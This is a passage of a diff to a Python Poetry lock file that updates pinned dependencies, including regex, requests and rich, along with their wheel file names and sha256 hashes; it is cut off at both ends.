"regex-2022.10.31-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b30bddd61d2a3261f025ad0f9ee2586988c6a00c780a2fb0a92cea2aa702c54"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef4163770525257876f10e8ece1cf25b71468316f61451ded1a6f44273eedeb5"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7b280948d00bd3973c1998f92e22aa3ecb76682e3a4255f33e1020bd32adf443"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d0213671691e341f6849bf33cd9fad21f7b1cb88b89e024f33370733fec58742"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:22e7ebc231d28393dfdc19b185d97e14a0f178bedd78e85aad660e93b646604e"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:8ad241da7fac963d7573cc67a064c57c58766b62a9a20c452ca1f21050868dfa"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:586b36ebda81e6c1a9c5a5d0bfdc236399ba6595e1397842fd4a45648c30f35e"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:0653d012b3bf45f194e5e6a41df9258811ac8fc395579fa82958a8b76286bea4"}, - {file = "regex-2022.10.31-cp36-cp36m-win32.whl", hash = "sha256:144486e029793a733e43b2e37df16a16df4ceb62102636ff3db6033994711066"}, - {file = "regex-2022.10.31-cp36-cp36m-win_amd64.whl", hash = "sha256:c14b63c9d7bab795d17392c7c1f9aaabbffd4cf4387725a0ac69109fb3b550c6"}, - {file = "regex-2022.10.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4cac3405d8dda8bc6ed499557625585544dd5cbf32072dcc72b5a176cb1271c8"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23cbb932cc53a86ebde0fb72e7e645f9a5eec1a5af7aa9ce333e46286caef783"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:74bcab50a13960f2a610cdcd066e25f1fd59e23b69637c92ad470784a51b1347"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78d680ef3e4d405f36f0d6d1ea54e740366f061645930072d39bca16a10d8c93"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6910b56b700bea7be82c54ddf2e0ed792a577dfaa4a76b9af07d550af435c6"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:659175b2144d199560d99a8d13b2228b85e6019b6e09e556209dfb8c37b78a11"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1ddf14031a3882f684b8642cb74eea3af93a2be68893901b2b387c5fd92a03ec"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b683e5fd7f74fb66e89a1ed16076dbab3f8e9f34c18b1979ded614fe10cdc4d9"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2bde29cc44fa81c0a0c8686992c3080b37c488df167a371500b2a43ce9f026d1"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:4919899577ba37f505aaebdf6e7dc812d55e8f097331312db7f1aab18767cce8"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:9c94f7cc91ab16b36ba5ce476f1904c91d6c92441f01cd61a8e2729442d6fcf5"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ae1e96785696b543394a4e3f15f3f225d44f3c55dafe3f206493031419fedf95"}, - {file = "regex-2022.10.31-cp37-cp37m-win32.whl", hash = "sha256:c670f4773f2f6f1957ff8a3962c7dd12e4be54d05839b216cb7fd70b5a1df394"}, - {file = "regex-2022.10.31-cp37-cp37m-win_amd64.whl", hash = "sha256:8e0caeff18b96ea90fc0eb6e3bdb2b10ab5b01a95128dfeccb64a7238decf5f0"}, - {file = "regex-2022.10.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:131d4be09bea7ce2577f9623e415cab287a3c8e0624f778c1d955ec7c281bd4d"}, - {file = "regex-2022.10.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e613a98ead2005c4ce037c7b061f2409a1a4e45099edb0ef3200ee26ed2a69a8"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:052b670fafbe30966bbe5d025e90b2a491f85dfe5b2583a163b5e60a85a321ad"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aa62a07ac93b7cb6b7d0389d8ef57ffc321d78f60c037b19dfa78d6b17c928ee"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5352bea8a8f84b89d45ccc503f390a6be77917932b1c98c4cdc3565137acc714"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20f61c9944f0be2dc2b75689ba409938c14876c19d02f7585af4460b6a21403e"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:29c04741b9ae13d1e94cf93fca257730b97ce6ea64cfe1eba11cf9ac4e85afb6"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:543883e3496c8b6d58bd036c99486c3c8387c2fc01f7a342b760c1ea3158a318"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b7a8b43ee64ca8f4befa2bea4083f7c52c92864d8518244bfa6e88c751fa8fff"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:6a9a19bea8495bb419dc5d38c4519567781cd8d571c72efc6aa959473d10221a"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:6ffd55b5aedc6f25fd8d9f905c9376ca44fcf768673ffb9d160dd6f409bfda73"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:4bdd56ee719a8f751cf5a593476a441c4e56c9b64dc1f0f30902858c4ef8771d"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8ca88da1bd78990b536c4a7765f719803eb4f8f9971cc22d6ca965c10a7f2c4c"}, - {file = "regex-2022.10.31-cp38-cp38-win32.whl", hash = "sha256:5a260758454580f11dd8743fa98319bb046037dfab4f7828008909d0aa5292bc"}, - {file = "regex-2022.10.31-cp38-cp38-win_amd64.whl", hash = "sha256:5e6a5567078b3eaed93558842346c9d678e116ab0135e22eb72db8325e90b453"}, - {file = "regex-2022.10.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5217c25229b6a85049416a5c1e6451e9060a1edcf988641e309dbe3ab26d3e49"}, - {file = "regex-2022.10.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4bf41b8b0a80708f7e0384519795e80dcb44d7199a35d52c15cc674d10b3081b"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cf0da36a212978be2c2e2e2d04bdff46f850108fccc1851332bcae51c8907cc"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d403d781b0e06d2922435ce3b8d2376579f0c217ae491e273bab8d092727d244"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a37d51fa9a00d265cf73f3de3930fa9c41548177ba4f0faf76e61d512c774690"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4f781ffedd17b0b834c8731b75cce2639d5a8afe961c1e58ee7f1f20b3af185"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d243b36fbf3d73c25e48014961e83c19c9cc92530516ce3c43050ea6276a2ab7"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:370f6e97d02bf2dd20d7468ce4f38e173a124e769762d00beadec3bc2f4b3bc4"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:597f899f4ed42a38df7b0e46714880fb4e19a25c2f66e5c908805466721760f5"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7dbdce0c534bbf52274b94768b3498abdf675a691fec5f751b6057b3030f34c1"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:22960019a842777a9fa5134c2364efaed5fbf9610ddc5c904bd3a400973b0eb8"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:7f5a3ffc731494f1a57bd91c47dc483a1e10048131ffb52d901bfe2beb6102e8"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7ef6b5942e6bfc5706301a18a62300c60db9af7f6368042227ccb7eeb22d0892"}, - {file = "regex-2022.10.31-cp39-cp39-win32.whl", hash = "sha256:395161bbdbd04a8333b9ff9763a05e9ceb4fe210e3c7690f5e68cedd3d65d8e1"}, - {file = "regex-2022.10.31-cp39-cp39-win_amd64.whl", hash = "sha256:957403a978e10fb3ca42572a23e6f7badff39aa1ce2f4ade68ee452dc6807692"}, - {file = "regex-2022.10.31.tar.gz", hash = "sha256:a3a98921da9a1bf8457aeee6a551948a83601689e5ecdd736894ea9bbec77e83"}, + {file = "regex-2023.5.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:48c9ec56579d4ba1c88f42302194b8ae2350265cb60c64b7b9a88dcb7fbde309"}, + {file = "regex-2023.5.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f4541550459c08fdd6f97aa4e24c6f1932eec780d58a2faa2068253df7d6ff"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e22e4460f0245b468ee645156a4f84d0fc35a12d9ba79bd7d79bdcd2f9629d"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b870b6f632fc74941cadc2a0f3064ed8409e6f8ee226cdfd2a85ae50473aa94"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:171c52e320fe29260da550d81c6b99f6f8402450dc7777ef5ced2e848f3b6f8f"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aad5524c2aedaf9aa14ef1bc9327f8abd915699dea457d339bebbe2f0d218f86"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a0f874ee8c0bc820e649c900243c6d1e6dc435b81da1492046716f14f1a2a96"}, + {file = "regex-2023.5.5-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e645c757183ee0e13f0bbe56508598e2d9cd42b8abc6c0599d53b0d0b8dd1479"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a4c5da39bca4f7979eefcbb36efea04471cd68db2d38fcbb4ee2c6d440699833"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5e3f4468b8c6fd2fd33c218bbd0a1559e6a6fcf185af8bb0cc43f3b5bfb7d636"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:59e4b729eae1a0919f9e4c0fc635fbcc9db59c74ad98d684f4877be3d2607dd6"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ba73a14e9c8f9ac409863543cde3290dba39098fc261f717dc337ea72d3ebad2"}, + {file = "regex-2023.5.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0bbd5dcb19603ab8d2781fac60114fb89aee8494f4505ae7ad141a3314abb1f9"}, + {file = "regex-2023.5.5-cp310-cp310-win32.whl", hash = "sha256:40005cbd383438aecf715a7b47fe1e3dcbc889a36461ed416bdec07e0ef1db66"}, + {file = "regex-2023.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:59597cd6315d3439ed4b074febe84a439c33928dd34396941b4d377692eca810"}, + {file = "regex-2023.5.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8f08276466fedb9e36e5193a96cb944928301152879ec20c2d723d1031cd4ddd"}, + {file = "regex-2023.5.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cd46f30e758629c3ee91713529cfbe107ac50d27110fdcc326a42ce2acf4dafc"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2910502f718828cecc8beff004917dcf577fc5f8f5dd40ffb1ea7612124547b"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:445d6f4fc3bd9fc2bf0416164454f90acab8858cd5a041403d7a11e3356980e8"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18196c16a584619c7c1d843497c069955d7629ad4a3fdee240eb347f4a2c9dbe"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33d430a23b661629661f1fe8395be2004006bc792bb9fc7c53911d661b69dd7e"}, + {file = "regex-2023.5.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72a28979cc667e5f82ef433db009184e7ac277844eea0f7f4d254b789517941d"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f764e4dfafa288e2eba21231f455d209f4709436baeebb05bdecfb5d8ddc3d35"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:23d86ad2121b3c4fc78c58f95e19173790e22ac05996df69b84e12da5816cb17"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:690a17db524ee6ac4a27efc5406530dd90e7a7a69d8360235323d0e5dafb8f5b"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:1ecf3dcff71f0c0fe3e555201cbe749fa66aae8d18f80d2cc4de8e66df37390a"}, + {file = "regex-2023.5.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:811040d7f3dd9c55eb0d8b00b5dcb7fd9ae1761c454f444fd9f37fe5ec57143a"}, + {file = "regex-2023.5.5-cp311-cp311-win32.whl", hash = "sha256:c8c143a65ce3ca42e54d8e6fcaf465b6b672ed1c6c90022794a802fb93105d22"}, + {file = "regex-2023.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:586a011f77f8a2da4b888774174cd266e69e917a67ba072c7fc0e91878178a80"}, + {file = "regex-2023.5.5-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b6365703e8cf1644b82104cdd05270d1a9f043119a168d66c55684b1b557d008"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a56c18f21ac98209da9c54ae3ebb3b6f6e772038681d6cb43b8d53da3b09ee81"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8b942d8b3ce765dbc3b1dad0a944712a89b5de290ce8f72681e22b3c55f3cc8"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:844671c9c1150fcdac46d43198364034b961bd520f2c4fdaabfc7c7d7138a2dd"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2ce65bdeaf0a386bb3b533a28de3994e8e13b464ac15e1e67e4603dd88787fa"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fee0016cc35a8a91e8cc9312ab26a6fe638d484131a7afa79e1ce6165328a135"}, + {file = "regex-2023.5.5-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:18f05d14f14a812fe9723f13afafefe6b74ca042d99f8884e62dbd34dcccf3e2"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:941b3f1b2392f0bcd6abf1bc7a322787d6db4e7457be6d1ffd3a693426a755f2"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:921473a93bcea4d00295799ab929522fc650e85c6b9f27ae1e6bb32a790ea7d3"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:e2205a81f815b5bb17e46e74cc946c575b484e5f0acfcb805fb252d67e22938d"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:385992d5ecf1a93cb85adff2f73e0402dd9ac29b71b7006d342cc920816e6f32"}, + {file = "regex-2023.5.5-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:890a09cb0a62198bff92eda98b2b507305dd3abf974778bae3287f98b48907d3"}, + {file = "regex-2023.5.5-cp36-cp36m-win32.whl", hash = "sha256:821a88b878b6589c5068f4cc2cfeb2c64e343a196bc9d7ac68ea8c2a776acd46"}, + {file = "regex-2023.5.5-cp36-cp36m-win_amd64.whl", hash = "sha256:7918a1b83dd70dc04ab5ed24c78ae833ae8ea228cef84e08597c408286edc926"}, + {file = "regex-2023.5.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:338994d3d4ca4cf12f09822e025731a5bdd3a37aaa571fa52659e85ca793fb67"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a69cf0c00c4d4a929c6c7717fd918414cab0d6132a49a6d8fc3ded1988ed2ea"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f5e06df94fff8c4c85f98c6487f6636848e1dc85ce17ab7d1931df4a081f657"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8906669b03c63266b6a7693d1f487b02647beb12adea20f8840c1a087e2dfb5"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fda3e50abad8d0f48df621cf75adc73c63f7243cbe0e3b2171392b445401550"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ac2b7d341dc1bd102be849d6dd33b09701223a851105b2754339e390be0627a"}, + {file = "regex-2023.5.5-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fb2b495dd94b02de8215625948132cc2ea360ae84fe6634cd19b6567709c8ae2"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:aa7d032c1d84726aa9edeb6accf079b4caa87151ca9fabacef31fa028186c66d"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:3d45864693351c15531f7e76f545ec35000d50848daa833cead96edae1665559"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21e90a288e6ba4bf44c25c6a946cb9b0f00b73044d74308b5e0afd190338297c"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:10250a093741ec7bf74bcd2039e697f519b028518f605ff2aa7ac1e9c9f97423"}, + {file = "regex-2023.5.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:6b8d0c153f07a953636b9cdb3011b733cadd4178123ef728ccc4d5969e67f3c2"}, + {file = "regex-2023.5.5-cp37-cp37m-win32.whl", hash = "sha256:10374c84ee58c44575b667310d5bbfa89fb2e64e52349720a0182c0017512f6c"}, + {file = "regex-2023.5.5-cp37-cp37m-win_amd64.whl", hash = "sha256:9b320677521aabf666cdd6e99baee4fb5ac3996349c3b7f8e7c4eee1c00dfe3a"}, + {file = "regex-2023.5.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:afb1c70ec1e594a547f38ad6bf5e3d60304ce7539e677c1429eebab115bce56e"}, + {file = "regex-2023.5.5-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cf123225945aa58b3057d0fba67e8061c62d14cc8a4202630f8057df70189051"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99757ad7fe5c8a2bb44829fc57ced11253e10f462233c1255fe03888e06bc19"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a623564d810e7a953ff1357f7799c14bc9beeab699aacc8b7ab7822da1e952b8"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ced02e3bd55e16e89c08bbc8128cff0884d96e7f7a5633d3dc366b6d95fcd1d6"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d1cbe6b5be3b9b698d8cc4ee4dee7e017ad655e83361cd0ea8e653d65e469468"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a6e4b0e0531223f53bad07ddf733af490ba2b8367f62342b92b39b29f72735a"}, + {file = "regex-2023.5.5-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e9c4f778514a560a9c9aa8e5538bee759b55f6c1dcd35613ad72523fd9175b8"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:256f7f4c6ba145f62f7a441a003c94b8b1af78cee2cccacfc1e835f93bc09426"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:bd7b68fd2e79d59d86dcbc1ccd6e2ca09c505343445daaa4e07f43c8a9cc34da"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4a5059bd585e9e9504ef9c07e4bc15b0a621ba20504388875d66b8b30a5c4d18"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:6893544e06bae009916a5658ce7207e26ed17385149f35a3125f5259951f1bbe"}, + {file = "regex-2023.5.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c64d5abe91a3dfe5ff250c6bb267ef00dbc01501518225b45a5f9def458f31fb"}, + {file = "regex-2023.5.5-cp38-cp38-win32.whl", hash = "sha256:7923470d6056a9590247ff729c05e8e0f06bbd4efa6569c916943cb2d9b68b91"}, + {file = "regex-2023.5.5-cp38-cp38-win_amd64.whl", hash = "sha256:4035d6945cb961c90c3e1c1ca2feb526175bcfed44dfb1cc77db4fdced060d3e"}, + {file = "regex-2023.5.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:50fd2d9b36938d4dcecbd684777dd12a407add4f9f934f235c66372e630772b0"}, + {file = "regex-2023.5.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d19e57f888b00cd04fc38f5e18d0efbd91ccba2d45039453ab2236e6eec48d4d"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd966475e963122ee0a7118ec9024388c602d12ac72860f6eea119a3928be053"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db09e6c18977a33fea26fe67b7a842f706c67cf8bda1450974d0ae0dd63570df"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6164d4e2a82f9ebd7752a06bd6c504791bedc6418c0196cd0a23afb7f3e12b2d"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84397d3f750d153ebd7f958efaa92b45fea170200e2df5e0e1fd4d85b7e3f58a"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9c3efee9bb53cbe7b285760c81f28ac80dc15fa48b5fe7e58b52752e642553f1"}, + {file = "regex-2023.5.5-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:144b5b017646b5a9392a5554a1e5db0000ae637be4971c9747566775fc96e1b2"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1189fbbb21e2c117fda5303653b61905aeeeea23de4a94d400b0487eb16d2d60"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f83fe9e10f9d0b6cf580564d4d23845b9d692e4c91bd8be57733958e4c602956"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:72aa4746993a28c841e05889f3f1b1e5d14df8d3daa157d6001a34c98102b393"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:de2f780c3242ea114dd01f84848655356af4dd561501896c751d7b885ea6d3a1"}, + {file = "regex-2023.5.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:290fd35219486dfbc00b0de72f455ecdd63e59b528991a6aec9fdfc0ce85672e"}, + {file = "regex-2023.5.5-cp39-cp39-win32.whl", hash = "sha256:732176f5427e72fa2325b05c58ad0b45af341c459910d766f814b0584ac1f9ac"}, + {file = "regex-2023.5.5-cp39-cp39-win_amd64.whl", hash = "sha256:1307aa4daa1cbb23823d8238e1f61292fd07e4e5d8d38a6efff00b67a7cdb764"}, + {file = "regex-2023.5.5.tar.gz", hash = "sha256:7d76a8a1fc9da08296462a18f16620ba73bcbf5909e42383b253ef34d9d5141e"}, ] [[package]] name = "requests" -version = "2.28.2" +version = "2.31.0" description = "Python HTTP for Humans." category = "main" optional = false -python-versions = ">=3.7, <4" +python-versions = ">=3.7" files = [ - {file = "requests-2.28.2-py3-none-any.whl", hash = "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa"}, - {file = "requests-2.28.2.tar.gz", hash = "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf"}, + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, ] [package.dependencies] certifi = ">=2017.4.17" charset-normalizer = ">=2,<4" idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<1.27" +urllib3 = ">=1.21.1,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] @@ -2130,14 +2109,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.3.2" +version = "13.3.5" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" category = "main" optional = false python-versions = ">=3.7.0" files = [ - {file = "rich-13.3.2-py3-none-any.whl", hash = "sha256:a104f37270bf677148d8acb07d33be1569eeee87e2d1beb286a4e9113caf6f2f"}, - {file = "rich-13.3.2.tar.gz", hash = "sha256:91954fe80cfb7985727a467ca98a7618e5dd15178cc2da10f553b36a93859001"}, + {file = "rich-13.3.5-py3-none-any.whl", hash = 